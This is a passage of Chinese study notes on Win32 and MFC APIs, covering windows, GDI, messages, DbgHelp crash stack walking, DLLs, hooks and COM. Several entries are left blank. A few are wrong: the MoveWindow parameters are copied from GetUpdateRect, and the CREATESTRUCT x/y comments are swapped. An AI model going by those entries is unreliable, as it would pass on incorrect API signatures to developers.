(in)参数(LPCTSTR)二：若键名不存在则创建， 若指定该NULL,则整个段所有项都被删除。

(in)参数(LPCTSTR)三：键值,若NULL,则lpKeyName指定的键名和键值删除。

返回值(BOOL):非0成功。

### GetProfileString

功能: 从ini文件中获取指定段下的一个字符串

(in)参数(LPCTSTR)一：段名

(in)参数(LPCTSTR)二：键名

(in)参数(LPCTSTR)三：若指定的键名不存在，则把该内容放入第四个参数

(out)参数(LPTSTR)四：获取的存放键值缓冲区

(in)参数(DWORD)五：存放键值缓冲区大小

返回值(DWORD):获取的字符串的实际长度。

## 窗口相关

### CreateWindow

### FindWindow

功能: 可以根据窗口名称来获取当前的窗口句柄， 可用来第二次点击程序时，获取已存在的窗口句柄进行操作。

(in)参数(LPCTSTR)一: 类名

(in)参数(LPCTSTR)二: 窗口名

返回值(HWN):

### RedrawWindow

功能：刷新非客户区RDW\_FRAME

(in)参数()一：

(in)参数()二：

(in)参数()三：

(in)参数()四：

返回值(BOOL)：

### SetRect

功能：设置矩形的数据，也就是参数一。

(out)参数(LPRECT)一： 矩形

(in)参数(int)二：左

(in)参数(int)三：上

(in)参数(int)四：右

(in)参数(int)五: 下

返回值(BOOL)：成功非0

### InvalidateRect

功能： 将窗口中的一块矩形区域标注为“无效”，并主动发送一条WM\_PAINT到消息队列中。

(in)参数(HWND)一：要更新的客户区所在的窗体的句柄。如果为NULL，则系统将在函数返回前重新绘制所有的窗口, 然后发送 WM\_ERASEBKGND 和 WM\_PAINT 给窗口过程处理函数。

(in)参数(LPRECT)二：若为NULL,则是整个窗口的客户区。

(in)参数(BOOL)三：是否要在WM\_PAINT消息前发送WN\_ERASEBKGND(是否擦除重绘区背景)

返回值(BOOL)：成功返回非0。

### UpdateWindow

功能：如果有无效区，则马上发送WM\_PAINT到窗口处理过程，不进消息队列进行排队等待，立即刷新窗口，否则，什么都不做。

(in)参数(HWND)一：窗口句柄

返回值(BOOL)：成功返回非0。

### GetUpdateRect

功能： 判断区域是否有更新。

(in)参数(HWND)一：窗口句柄。

(in)参数(LPRECT)二：若为NULL, 且存在更新区域则返回非0。

(in)参数(BOOL)三：是否擦除背景。

返回值(BOOL)：有更新区域则返回非0。

### ScreenToClient

功能：将屏幕坐标转换指定窗口的客户区坐标。

### MoveWindow

功能：改变窗口位置和大小。如果相对父窗口的客户区移动该窗口则需要ScreenToClient转换成相对该父窗口客户区的坐标。

(in)参数(HWND)一：要移动的窗口句柄，该句柄如果有父窗口则是相对父窗口客户区进行移动，若没有父窗口则相对屏幕移动。

(in)参数(LPRECT)二：若为NULL, 且存在更新区域则返回非0。

(in)参数(BOOL)三：是否擦除背景。

返回值(BOOL)：有更新区域则返回非0。

### GetWindowRect

功能：获取窗口的位置和大小(包括客户区和非客户区)， 相对屏幕位置。

注意在对话框的OnInitDialog()函数中，由于对话框尚未显示，所以默认对话框左上角位于屏幕左上角。即此时调用GetWindowRect()获取的对话框区域左上角为(0,0)，若是圆角就是（2,2）。

### GetClientRect

功能：获取窗口的客户区位置和大小， 相对客户区位置坐标， 由于控件窗口没有标题栏因此窗口客户区相对于客户区位置坐标的左上角为0,0。

## GDI

### CreateDC

功能：创建指定设备上下文环境

(in)参数()一：设备名称, 若为”DISPLAY”并且其他参数为NULL,则等用于GetDC(NULL)。

(in)参数()二：

(in)参数()三：

返回值(HDC)：成功返回上下文句柄，失败返回NULL。

### GetDC

功能：获取指定窗口的显示设备上下文句柄(客户区)。使用ReleaseDC(HWND, HDC)释放。一般用在非WM\_PAINT消息处理过程中。

(in)参数(HWND)一：窗口句柄，若为NULL,则为整个屏幕。

返回值(HDC)：成功返回上下文句柄，失败返回NULL。

### BeginPaint

功能：用到的设备描述符只会在当前的无效区域内绘画，在有效区域内的绘画会自动被过滤，并且会合并无效区域（也就是一次处理多个InvaildateRect标注的无效区域）。一般用在WM\_PAINT消息处理过程中。使用EndPaint(HWND, LPPAINTSTRUCT)来释放。

BeginPaint和EndPaint可以删除消息队列中的WM\_PAINT消息，并使无效区域有效。

GetDC和ReleaseDC并不删除也不能使无效区域有效，因此当程序跳出 WM\_PAINT 时 ，无效区域仍然存在。系统就会不断发送WM\_PAINT消息，于是程序不断处理WM\_PAINT消息。

(in)参数(HWND)一：窗口句柄

(in)参数(LPPAINTSTRUCT)二：绘制信息

返回值(HDC)：设备句柄，失败返回0。

### GetWindowDC

功能：获取指定窗口的显示设备上下文句柄(客户区和非客户区)使用ReleaseDC(HWND, HDC)释放。一般用在非WM\_PAINT消息处理过程中。

(in)参数(HWND)一：窗口句柄

返回值(HDC)：成功返回上下文句柄，失败返回NULL。

### GetDeviceCaps

功能： 获取指定设备的配置参数信息。

(in)参数(HDC)一： 设备环境句柄。

(in)参数(int)二： 可选项值。

HORZSIZE、VERTSIZE：则获取屏幕物理大小,单位毫米(对角线长度就是屏幕大小,毫米转英寸)。

HORZRES、VERTRES：则获取屏幕分辨率大小,单位像素。

RASTERCAPS：则获取该设备支持的光栅性能, 通过返回值来确定哪些性能支持,

(RC\_BITBLT&返回值)支持传送位图, (RC\_DI\_BITMAP&返回值)支持SetDIBits和GetDIBits函数等。

BITSPIXEL：一个像素所需要的位数，如8位则表示2的8次方中颜色。

返回值(int)：相关大小值。

### GetClipBox

功能：获取当前可见区域大小

(in)参数(HDC)一：设备环境句柄

(out)参数(LPRECT)二：返回区域坐标

返回值(int)：失败返回0。

### CreateCompatibleDC

功能：创建一个与指定设备兼容的内存设备上下文环境。

(in)参数(HDC)一：现有设备上下文环境的句柄，如果该句柄为NULL，该函数创建一个与应用程序的当前显示器兼容的内存设备上下文环境。

返回值(HDC)：成功则返回内存设备上下文环境的句柄，失败返回0。

### GetDIBits

功能：

(in)参数()一：

(in)参数()二：

(in)参数()三：

(in)参数()四：

(in)参数()五：

(in)参数()六：

(in)参数()七：

返回值(int)：失败返回0。

## 托盘相关

### Shell\_NotifyIcon

功能:生成系统托盘函数

(in)参数(DWORD)一:NIM\_ADD、NIM\_DELETE、NIM\_MODIFY、NIM\_SETFOCUS

(in)参数(PNOTIFYICONDATA)二:

返回值(BOOL): 成功返回TRUE

NOTIFYICONDATA m\_niData;

m\_niData.hWnd = m\_hWnd;

m\_niData.uID = nID;

m\_niData.hIcon = hIcon;

m\_niData.uFlags = NIF\_MESSAGE | NIF\_ICON | NIF\_TIP;

m\_niData.uCallbackMessage = WM\_TRAYICON\_NOTIFY;

\_tcscpy\_s(m\_niData.szTip, sizeof(m\_niData.szTip) / sizeof(TCHAR), lpszToolTip);

m\_bInstalled = Shell\_NotifyIcon(NIM\_ADD, &m\_niData) ? TRUE : false;

## 光标相关

## 键盘相关

## 消息

1. 线程第一次被建立时,系统假定线程不会被用于任何与用户相关的任务。这样可以减

少线程对系统资源的要求。但是，一旦这个线程调用一个与图形用户界面有关的函数时，则会为该线程分配与用户界面相关的资源(如消息队列)。

1. 每个线程存在一个结构，该结构包含了登记消息队列指针，发送消息队列指针， 应答消息队列指针、虚拟输入队列指针和一些唤醒标志。

### GetMessage

功能:从消息队列中获取消息,阻塞

参数一: MSG结构体

参数二: 取得其消息的窗口的句柄。当其值取NULL时，GetMessage为任何属于调用线程的窗口检索消息

参数三: 被检索的最小消息值的整数,一般0

参数四: 被检索的最大消息值的整数,一般0

返回值: 若取得WM\_QUIT消息则返回0， 其他消息返回非0， 发送错误返回-1。

### PeekMessage

功能:从消息队列中以查看方式访问，非阻塞。

前四个参数和GetMessage一样

参数五:对消息队列的处理方式, PM\_REMOVE(从队列中移除消息)，PM\_NOREMOVE(不移除)

返回值: 消息队列中无消息则返回0

### SendMessage

功能:同线程直接发送到窗口过程（直接调用）, 如果不同线程的2个窗口过程中相互sendMessage则由use32模块调用窗口过程(有重入)，保证不会死锁； 当一个线程发送消息到另一个线程中，发送消息到接收线程消息队列中并等待， 直到消息非处理才使用发送消息线程恢复等待。

参数一: 窗口句柄,若为HWND\_BROADCAST，则消息将被发送到系统中所有顶层窗口，包括无效或不可见的非自身拥有的窗口、被覆盖的窗口和弹出式窗口，但消息不被发送到子窗口。

参数二: 消息

参数三：消息参数

参数四: 消息参数

返回值: 返回值指定消息处理的结果。

### PostMessage

功能:将消息登记到当前线程的登记消息队列中就返回了。非阻塞,无需等待消息过程处理完。 如果在不同线程中就使用postThreadMessage函数。

### PostThreadMessage

功能:将消息登记到指定线程的登记消息队列中就返回了。非阻塞,无需等待指定的线程消息过程处理完。

参数一:

### DispatchMessage

功能： 将消息派送给操作系统，再由操作系统调用窗口过程，处理完消息后再返回来(因此该函数是阻塞的)。 交给操作系统的好处是操作系统处理完消息后，如果没有消息进入队列则不会分配时间片，节约了资源。如果不派送给操作系统，这样不如直接自己写个switch。

(in)参数(CONST MSG\*)一：要派送的消息结构。

返回值(LONG)：窗口过程的返回值， 该值经常被忽略。

## 计算机相关信息

### GetUserName

功能：获取登录本计算机用户名(admin)

(out)参数一(LPTSTR)：存放返回的用户名的缓冲区

(in/out)参数二(LPDWORD)：in:缓冲区大小， out:实际大小,包含’\0’

返回值(BOOL)：非0成功。

### GetComputerName

功能：获取本计算机名

(out)参数一(LPTSTR)：存放返回的计算机名称的缓冲区

(in/out)参数二(LPDWORD)：in:缓冲区大小， out:实际大小,不包含’\0’

返回值(BOOL)：非0成功。

### GlobalMemoryStatus

(3)void GlobalMemoryStatus(LPMEMORYSTATUS)//获取当前状态物理和虚拟内存信息。

参数: 结构中: DWORD dwMemoryLoad; //物理内存使用率

SIZE\_T dwTotalPhys; //物理内存总大小

### GetSystemInfo

功能：获取本机操作系统信息

(out)参数一(LPSYSTEM\_INFO)：

DWORD dwNumberOfProcessors; //CPU数目

返回值(VOID)：

### GetVersionEx

功能：获取操作系统版本

(in)参数一(LPOSVERSIONINFO)：

参数:必须初始化结构中info.dwOSVersionInfoSize = sizeof(OSVERSIONINFO)。

dwMajorVersion:主版本号

dwMinorVersion:次版本号

win7: 6.1

Server 2008:6(主).0(次)

Vista :6.0

Server 2003:5.2

XP :5.1

Server 2000:5.0

返回值(BOOL)：非0成功。

### GetLogicalDrives

功能：获取本机存在的驱动器

返回值(DWORD)：按位来表示是否存在该驱动器，1表示存在。

例如:返回值为1110(B)0(A) 存在C,D,E盘。

### GetLogicalDriveStrings

功能： 获取系统盘符，存入第二个参数。

(in)参数一(DWORD)：

(in)参数二(LPTSTR)：

返回值(DWORD)：

### GetDriveType

功能： 获取系统盘符的类型。

(in)参数一(LPCTSTR)："e:\\";

返回值(UINT)：DRIVE\_FIXED(固定磁盘), DRIVE\_REMOVABLE (移动磁盘), DRIVE\_REMOTE (网络磁盘)

## 程序崩溃及调试处理

### SetUnhandledExceptionFilter

功能:在程序崩溃时调用该函数设置的回调函数。

(in)参数(LPTOP\_LEVEL\_EXCEPTION\_FILTER)一:回调函数指针。

回调函数为:

LONG 函数名(EXCEPTION\_POINTERS \*)

回调函数参数:

存放则异常的结构体信息。有2个结构成员变量。

PEXCEPTION\_RECORD ExceptionRecord;

该结构体中:

DWORD    ExceptionCode; //异常错误码

DWORD    ExceptionFlags; //异常标识，0可修复异常,1不可修复异常,2正在展开,不要试图修复什么,需要的话,释放必要的资源。

struct \_EXCEPTION\_RECORD \*ExceptionRecord; //如果程序本身导致异常,指向那个异常结构

PVOID ExceptionAddress; //异常发生的eip地址。

DWORD NumberParameters; // ExceptionInformation的个数，小于等于15。

ULONG\_PTR ExceptionInformation[EXCEPTION\_MAXIMUM\_PARAMETERS（15）]; //附加信息，一般在错误码为0xC0000005的内存访问出错时才有用，ExceptionInformation[0] = 0读冲突，=1写冲突。

PCONTEXT ContextRecord;

回调函数返回值:

EXCEPTION\_EXECUTE\_HANDLER：表明异常处理完毕，程序可以退出。

EXCEPTION\_CONTINUE\_EXECUTION：忽略此异常，从异常点继续运行。如果此时再发生异常，还会调用异常处理函数。

EXCEPTION\_CONTINUE\_SEARCH：异常没被识别，交由上一级处理函数处理；

返回值(LPTOP\_LEVEL\_EXCEPTION\_FILTER): 返回以前设置的回调函数指针。

### SymInitialize

功能:创建对应的(进程)符号处理器, 可通过GetCurrentProcess。

(in)参数(HANDLE)一: 是否是被调试进程句柄取决去第三个参数。

(in)参数(const char\*)一:符号处理器路径， 为NULL则会按环境变量自动搜索。

(in)参数(BOOL)一:若TURE,则第一个参数必须是进程句柄， 若FALSE可以为任何一个唯一值。

返回值(BOOL):成功非0。

### StackWalk64

功能:主要用于获取指定堆栈的前一个函数调用堆栈。若需要全部获取需循环调用。

(in)参数(DWORD)一: CPU类型, IMAGE\_FILE\_MACHINE\_I386（一般为Intel x86），

IMAGE\_FILE\_MACHINE\_IA64(Intel Itanium Processor Family (IPF)),

IMAGE\_FILE\_MACHINE\_AMD64(x64 (AMD64 or EM64T))。

(in)参数(HANDLE)二:当前被调试进程的句柄，必须使用过SymInitialize函数，即符号处理器标识符。

(in)参数(HANDLE)三:当前被调试线程的句柄，不需要用过SymInitialize函数。

(out)参数(LPSTACKFRAME64)四: 存放前一个栈帧信息。以下成员变量必须初始化。

sf.AddrPC.Offset = context.Eip;  //AMD64:context.Rip。IA64:context.StIIP

    sf.AddrPC.Mode = AddrModeFlat;

    sf.AddrStack.Offset = context.Esp;  //AMD64:context.Rsp。IA64:context.IntSp

    sf.AddrStack.Mode = AddrModeFlat;

    sf.AddrFrame.Offset = context.Ebp;  //AMD64:context.Rsp。IA64:context.IntSp

    sf.AddrFrame.Mode = AddrModeFlat;

(out)参数(PVOID)五: CONTEXT结构体的指针。

(in)参数(PREAD\_PROCESS\_MEMORY\_ROUTINE64)六: 回调函数指针。读取被调试的进程的内存时，会调用该函数， 若NULL则调用默认函数，但参数二必须有效进程句柄。

(in)参数(PFUNCTION\_TABLE\_ACCESS\_ROUTINE64)七: 回调函数指针。访问函数表时调用该函数。该参数不能为NULL,一般设置SymFunctionTableAccess64,但参数二必须是符号处理器处理过的进程句柄。

(in)参数(PGET\_MODULE\_BASE\_ROUTINE64)八: 回调函数指针。访问模块基地址时调用该函数。该参数不能为NULL,一般设置SymGetModuleBase64,但参数二必须是符号处理器处理过的进程句柄。

(in)参数(PTRANSLATE\_ADDRESS\_ROUTINE64)九: 回调函数指针。一般为NULL。

### SymGetSymFromAddr64

功能: 根据STACKFRAME64结构体的AddrPC.Offset获取发生异常函数名称。

(in)参数(HANDLE)一: 符号处理器处理过的进程句柄。

(in)参数(DWORD64)二: STACKFRAME64结构体的AddrPC.Offset。

(in/out)参数(PDWORD64)三:一般为NULL。

(in/out)参数(PIMAGEHLP\_SYMBOL64)四: 存放获取的函数信息。

BYTE symbolBuffer[sizeof(IMAGEHLP\_SYMBOL64) + MAX\_PATH] = {0};  //需分配存放函数名字的空间。

IMAGEHLP\_SYMBOL64 \*pSymbol = (IMAGEHLP\_SYMBOL64\*)symbolBuffer;

pSymbol->SizeOfStruct = sizeof(IMAGEHLP\_SYMBOL64);  //必须初始化。

pSymbol->MaxNameLength = MAX\_PATH;   //pSymbol->Name的空间

返回值(BOOL): 成功非0。

### SymGetLineFromAddr64

功能: 根据STACKFRAME64结构体的AddrPC.Offset获取发生异常行号和文件名称。

(in)参数(HANDLE)一: 符号处理器处理过的进程句柄。

(in)参数(DWORD64)二: STACKFRAME64结构体的AddrPC.Offset。

(in/out)参数(PDWORD)三:DWORD dw, &dw传入， 该值不用，但必须分配空间传入。

(in/out)参数(PIMAGEHLP\_LINE64)四: 存放发送异常的文件和行号信息。必须SizeOfStruct = sizeof(IMAGEHLP\_LINE64);

返回值(BOOL): 成功非0。

### SymGetModuleInfo64

功能: 根据STACKFRAME64结构体的AddrPC.Offset获取发生模块名称。

(in)参数(HANDLE)一: 符号处理器处理过的进程句柄。

(in)参数(DWORD64)二: STACKFRAME64结构体的AddrPC.Offset。

(in/out)参数(PIMAGEHLP\_MODULE64)四: 存放发送异常的模块信息。必须SizeOfStruct = sizeof(PIMAGEHLP\_MODULE64); ModuleName模块名称。

返回值(BOOL): 成功非0。

### SymCleanup

功能: 释放进程句柄相关联的所有资源。

(in)参数(HANDLE)一:SysInitialize函数初始化的进程句柄。

返回值(BOOL):非0成功。

AfxParseURLEx分析一个URL信息 <afxinet.h>

### OutputDebugString

功能： 在Debug模式下中的输出窗口显示字符串

(in)参数(char\*)一：要输出的字符串

返回值()：

## 动态链接库

### DllMain

函数功能:当加载动态库时会进入本函数。(显示加载:使用LoadLibary函数之后,隐式加载会自动调用LoadLibary函数)

(in)参数(HANDLE)一:当前DLL句柄

(in)参数(DWORD)二: 标记值,有4（进程第一次加载DLL,当前进程创建一个新线程，线程结束，进程结束),可利用switch。

(in)参数(LPVOID)三: 显示加载:NULL,隐式加载:非NULL

### LoadLibrary与FreeLibrary

函数功能:加载动态链接库。

(in)参数(const char\*)一:动态库全路径名称。(也可相对路径(.project)工程文件路径。)。

返回值(HMODULE):返回NULL加载失败。

函数功能:释放模块(dll), 释放动态库之后则不能再使用函数指针等。

(in)参数(HMODULE)一:指定的模块(DLL)的句柄

返回值(BOOL):非0成功。

### GetProcAddress

函数功能:获取函数指针。

(in)参数(HMODULE)一:指定的模块(DLL)的句柄

(in)参数(const char\*)二:函数名称。若是函数序号，高位字必须0，序号必须在低位字中(MAKEINTRRESOURCE(1)替换第二个参数,序号从1开始)

返回值(FARPROC):返回NULL表示函数未导出或不存在。否则为函数指针。

## HOOK

后安装的某个消息的钩子，先对该消息进行检查。

### SetWindowsHookEx

若安装到本进程中， 只对本进程有效。 若安装到DLL(全局钩子)中，需要将参数三设置钩子过程所在DLL的句柄，参数四设置0。

参数一:钩子类型,WH\_MOUSE, WH\_KEYBOARD等

参数二:钩子处理函数。

参数三:NULL表示当前进程，钩子过程所在的Dll句柄, GetModuleHandle

参数四:关联的线程ID, 0表示所有线程都挂上。GetCurrentThreadId()

返回值: 钩子句柄。

### MouseProc

功能:钩子处理函数

参数一:钩子类型

参数二三: 钩子类型参数，屏蔽组合键f4+ctrl:if(VK\_F4 == wParam && (1 == (lParam >> 29 & 1)))

返回值: 非0则系统不传递该消息，0或CallNextHookEx(hMouse,code,wParam,lParam)则传递

### UnHookWindowsHookEx

功能:移除钩子。

## Com组件

### CoInitialize与CoUninitalize

功能:使用Com库的函数必须初始化

(in)参数(LPVOID)一:用于指导一个内存分配器， 例如设定COM组件使用的内存大小等。一般该参数为NULL

返回值(HRESULT):S\_OK成功， S\_FALSE:多次调用该初始化函数，但还可以使用Com库函数。E\_UNEXPECTED错误，不能调用Com库函数。

功能:释放Com库所维护的资源。调用该函数之前必须使用CoInitialize函数否则崩溃。

无参数和返回值。

### CoTaskMemAlloc内存分配

功能:由于组件和客户程序可能使用不同语言编写，所以统一使用Com库提供的函数进行内存的管理。

(in)参数(ULONG)一:分配内存大小

返回值(LPVOID):指针

CoTaskMemRealloc

(in)参数(LPVOID\*)一:需要重新分配大小的指针。

(in)参数(ULONG)二:重新分配的大小,重新分配的大小如果大于原来的大小，则还保留原来的数据。  否则会截断数据。

返回值(LPVOID):重新分配后的指针。失败为NULL

CoTaskMemFree

(in)参数(LPVOID\*)一: 需要释放的指针

无返回值。

### ProgIDFromCLSID

功能:根据CLSID值获取ProgID字符串

(in)参数一(const IID&):GUID128值。

(out)参数(WCHAR\*)二:CLSID值对应的ProgID字符串。

返回值:S\_OK成功。

### StringFromCLSID

 功能:将CLSID结构转换字符串形式。

(in)参数(const IID&)一:GUID结构128值。

(out)参数(WCHAR\*)二: GUID结构对应的字符串类型。

返回值(HRESULT):S\_OK成功。

### CoGetClassObject

 功能: 获取Com对象的类厂指针，并不创建Com对象。

(in)参数(const CLSID&)一: Com对象的标志

(in)参数(DWORD)二:组件类别，是进程外组件还是进程内组件。

(in)参数(COSERVERINFO\*)三:创建远程Com对象指定服务器信息。本地则为NULL。

(in)参数(const IID&)四: 通常是传入的是类厂ID(IID\_IClassFactory)

(out)参数(void\*\*)五:存放类厂对象的接口指针。

返回值(HRESULT):

### CoCreateInstance

 功能:创建一个本地Com对象， 要创建远程com对象调用CoCreateInstanceEx函数

(in)参数(const CLSID&)一: Com对象的标志

(in)参数(IUnknown\*)二:

(in)参数(DWORD)三:组件类别，是进程外组件还是进程内组件。

 (in)参数(const IID&)四: 通常是传入的是类厂ID(IID\_IClassFactory)

(out)参数(void\*\*)五:接口指针。

返回值(HRESULT): S\_OK成功， 失败:REGDB\_E\_CLASSNOTREG没有注册类。

# 图形编程

# WM消息

## WM\_CREATE

窗口创建消息，当调用CreateWindow或CreateWindowEx时发送该消息，产生该消息是窗口创建之后显示之前。 该消息不会进入消息队列。

wParam: 未用。

lParam: 结构CREATESTRUCT的指针。

typedef struct tag CREATESTRUCT

{

LPVOID lpCreateParams; //发送该消息所在对象的指针。

HINSTANCE hInstance; //应用程序的实例句柄

　 HMENU hMenu; //窗口菜单句柄

　 HWND hwndParent; //父窗口句柄

　 int cy; //指定新窗口的高度，以像素为单位

　 int cx; //指定新窗口的宽度，以像素为单位

　 int y; //指定新窗口的左上角x坐标

　 int x; //指定新窗口的左上角y坐标

　 LONG style; //指定新窗口的类型(风格)

　 LPCTSTR lpszName; //指定新窗口的名称

　 LPCTSTR lpszClass; //指定新窗口类的名称

　 DWORD dwExStyle; //指定新窗口扩展风格。

}CREATESTRUCT;

## WM\_SYSCOMMAND 系统菜单命令命令消息。

介绍: wParam参数是命令类型: SC\_CLOSE(关闭菜单，或关闭按钮), SC\_MOVE(移动窗口，但是需要点击菜单中的“移动“再移动窗口才能触发), SC\_MINIMIZE(最小化),SC\_MAXIMIZE(最大化)

使用:

## WM\_SETICON 设置一个窗口的图标

介绍:

使用:

示例一:

HICON hIcon = LoadIcon(AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI\_ICON1));

PostMessage(HWND,WM\_SETICON, 0, (LPARAM)hIcon);

## WM\_SETCURSOR 设置光标

介绍:

使用:

示例一:

/\*HCURSOR m\_hCursor = LoadCursor(NULL,IDC\_CROSS)//添加系统光标\*/

HCURSOR m\_hCursor = AfxGetApp()->LoadCursor(IDC\_CURSOR1);//增加自定义光标

在响应函数中:

if (m\_hCursor != NULL) //满足何种条件则显示光标

{

SetCursor(m\_hCursor);

return TRUE; //记得返回TRUE，不传递该消息

}

return CDialog::OnSetCursor(pWnd, nHitTest, message);

## WM\_KILLFOCUS 删除某个控件（窗口）的焦点

介绍:

使用:

::SendMessage(GetDlgItem(要失去焦点的控件名)-> m\_hWnd,WM\_KILLFOCUS,-1,0);

## WM\_TIMER 定时器消息

介绍:

SetTimer(10, 10000);

Sleep(5000);

SetTimer(10, 10000); //当第一个定时器走了5秒后，在调用这个定时器则重置第一个5秒的时间。

使用:

第一步:添加消息映射

第二步:添加消息响应函数, 若回调函数为NULL,则调用默认的OnTimer(定时器ID)

第三步:添加SetTimer(定时器ID,时间间隔毫秒,回调函数); 返回值也是定时器ID。

第四步:删除定时器 KillTimer(定时器ID);

## WM\_DRAWITEM 控件重画的发出该消息

介绍:

wParam参数: 控件ID, 若是菜单则是0。

lParam 参数: DRAWITEMSTRUCT结构的指针， 为需要自绘按钮或菜单提供了必要的信息。

需要重绘的控件必须指定BS\_OWNERDRAW属性, 指定才会发出该消息。

使用:

## WM\_PAINT 绘图消息

介绍:

OnPaint是可以响应WM\_PAINT消息的函数，OnDraw是专门的响应WM\_PAINT的消息映射函数，一般用户写的程序放入OnDraw中。

当没有添加WM\_PAINT消息处理时,窗口重绘时,由OnDraw来进行消息响应...

当添加WM\_PAINT消息处理时,窗口重绘时,WM\_PAINT消息被投递,由OnPaint来进行消息响应.这时就不能隐式调用OnDraw了.必须显式调用( CDC \*pDC=GetDC(); OnDraw(pDC); )..

隐式调用:当由OnPaint来进行消息响应时,系统自动调用CView::OnDraw(&pDC).

应用:

## WM\_CTRLCOLOR 绘制背景色

介绍:

针对没有SetBkColor成员函数的背景绘制,就是不能绘制按钮的背景色。

应用:

在响应函数OnCtlColor中:

if (pWnd->GetDlgCtrlID() == IDC\_STATIC\_COLOR)

{

pDC->SetBkMode(TRANSPARENT);//设置透明输出

//pDC->SetTextColor(RGB(255,0,0));//设置文本颜色

return CreateSolidBrush(RGB(255,0,0)); //指定颜色

}

或者:

if (nCtlColor == CTLCOLOR\_STATIC)

{

pDC->SetBkMode(TRANSPARENT);

return CreateSolidBrush(RGB(0,255,0));

}

CTLCOLOR\_STATIC: (1)单选按钮,(2)静态框,背景色

CTLCOLOR\_LISTBOX: (1)组合框的下拉列表风格中， 只有列表本身变色，组合框不变色。

## WM\_VSCROLL 垂直滚动条消息

介绍:

响应函数onVScroll(nSBCode, nPos, pScrollBar):

参数一:

SB\_LINEDOWN: //向下移动一行 SB\_LINEUP: //向上移动一行

SB\_PAGEDOWN: //向下移动一页(鼠标点击滑块与下箭头的按钮之间的空白处)

SB\_PAGEUP: //向上移动一页

SB\_THUMBPOSITION: //鼠标拖至一块区域停止后的位置

SB\_THUMBTRACK: //鼠标拖至一块区域过程中产生的

参数二: 只有在SB\_THUMBPOSITION和SB\_THUMBTRACK中才有用

应用:

## WM\_MOUSEWHEEL 鼠标垂直滚动

介绍:

响应函数OnMouseWheel(UINT nFlags, short zDelta, CPoint pt)

参数一: MK\_MBUTTON

参数二: HIWORD(pMsg->wParam

参数三:0

# 动态链接技术

## DLL

lib文件

包含该.dll导出的函数和变量的符号名。使用#pragma

dll文件

包含实际的函数和数据。(运行时加载,映射到进程的地址空间)

类的导出: Class与类名之间增加MYDLL\_API。

 成员函数的导出: 返回值与函数名之间增加MYDLL\_API。注意:一般DLL很少导出类和成员函数类等面向对象，若要导出面向对象相关则使用COM组件规范。

### 编写DLL

第一步在编写的头文件中添加:

#ifdef EXPORT

#define MYDLL\_API \_\_declspec(dllexport)

#else

#define MYDLL\_API \_\_declspec(dllimport) //extern可以代替\_\_declspec(dllimport)，但是效率不高。

第二步在源文件添加:

#define EXPORT

#include “头文件”

第三步编写.def模块定义文件（导出函数或变量）,也可不用第三步，直接在头文件导出函数中前进加MYDLL。

LIBRARY MYDLL // MYDLL动态库名。LIBRARY并不是必须的,但动态库名称必须正确。

EXPORTS

Fun   // Fun是导出的函数名

I DATA  //I是导出的变量名

Fun1=Fun2 //Fun1是导出的函数名。 而Fun2是DLL中函数。

Fun3 @1  //1是序号，表示该函数名。

注意:由于C++编写的DLL,会发生函数命名改编，导致显示加载动态库根据函数名称来获取函数地址会不正确，而且C客户程序调用会出问题。

解决名字改编:

方法一:使用extern “C”,但是只能导出全局函数, 而成员函数在C++中可以重载必须名称进行改编， 因此成员函数加上extern “C”还是会进行函数名称改编。

C客户端默认函数调用约定，与C++默认函数调用约定不同，也因此extern “C”还会发生函数名称改编。

方法二:使用.def模块定义文件

导出DLL全局变量: .h:\_\_declspec(dllexport) extern bool g\_Int; .cpp: bool g\_Int = false;

### 使用DLL

隐式加载(常用，因为大多数使用的DLL，不想提供源码，只提供头文件)

优点: 加载完后直接在应用程序中使用Dll中的函数。因为应用程序启动会自动调用LoadLibrary函数加载的，所有不需要LoadLibrary等函数自己加载。

缺点: 需要.h,.lib,dll文件；使dll所有导出的函数都加入到调用程序的地址空间，浪费资源。

隐式加载DLL搜索路径为:程序的执行目录=>当前目录=>系统目录(依次是C:\WINNT\system32、C:\WINNT\system、C:\WINNT)=>path环境变量中所列出路径。 搜索路径行为与CreatProcess函数一致。

第一步:包含DLL的头文件,主要是解决编译问题(因为函数名称没定义)

第二步:引用lib库，#pragma comment(lib, "imagehlp.lib"),主要是解决链接期的问题。

第三部:搜索dll文件，一般放到程序的执行目录, 主要解决运行期的问题。

显示加载

优点:不需要.h文件和.lib文件，只需要.dll文件即可,但加载的函数或变量必须是DLL中导出的，加载函数时不需要增加\_declspec(dllimport)关键字。

缺点: 不能看到导入信息了。

步骤一: 加载动态库LoadLibrary

步骤二: 定义函数指针类型，获取函数导出地址(指针)GetProcAddress

步骤三:使用完后释放FreeLibrary

### 查看DLL导出和导入信息

dumpbin不支持， 调用VC98\bin\VCVARS32.bat批处理设置环境。

导出: dumpbin -exports dll文件名

导入: dumpbin -imports 调用dll文件的程序名

Depends工具也可查看。

### VS动态库改静态库

删除导出和导入声明，配置类型改为静态库，运行库调用者与静态库保持一致。

### 当前模块使用了多个含有相同资源ID的模块时防止冲突。

HINSTANCE oldHandle = AfxGetResourceHandle();

HINSTANCE curHandle = GetModuleHandle(MODULE\_NAME);

AfxSetResourceHandle(curHandle); //窗口创建前设置指定模块资源，若当前模块使用了多个含有相同资源ID的模块，则需要设置指定资源模块，否则冲突，运行时奔溃。

//创建窗口

//BOOL retval = CTradeView::Create(IDD\_STOCK\_BUY\_SELL\_VIEW, pParentWnd);

AfxSetResourceHandle(oldHandle);

## COM组件

COM接口:是一组纯虚函数的集合或者是一个纯虚类。

COM与DLL区别:

1.dll表现形式只能是dll,而COM可以表现为dll或者exe(独立运行)。

2.dll在windows/linux下需要重新编译，com(二进制编码)则不需要重新编译。

3.dll是导出函数的集合，而com是遵循com标准规范实现的dll或exe。

4.dll只能在本机使用，com可以分布式使用。

### GUID

GUID用来唯一标识Com对象或接口的128bit整数。

CLSID就是GUID,只是专门用来标识Com对象的。

IID就是GUID,只是专门用来标识Com对象的接口的。

创建GUID方法一:使用Com库提供的API函数CoCreateGuid。

### 查看组件信息

位置: HKEY\_CLASSES\_ROOT->CLSID

ProgID:注册表中每个GUID中都有ProgID， ProgID也是可以唯一标识组件的。

### 创建Com组件

方法一: MFCDLL

步骤: 选择MFC dll => 勾选自动化复选框。

添加类:  选中添加MFC类， 继承与CCmdTarget类, 自动化中的单选按钮选中”创建类型ID”。

添加接口的函数: 在类视图中选中接口右击。

注意：修改接口函数的参数类型时，类型要全部一致，包括

DISP\_FUNCTION\_ID(CDebugMain, "OpenDebug", dispidOpenDebug, OpenDebug, VT\_EMPTY(返回值), VTS\_WBSTR(参数))类型，否则客户端调用会出错。

### 使用Com组件

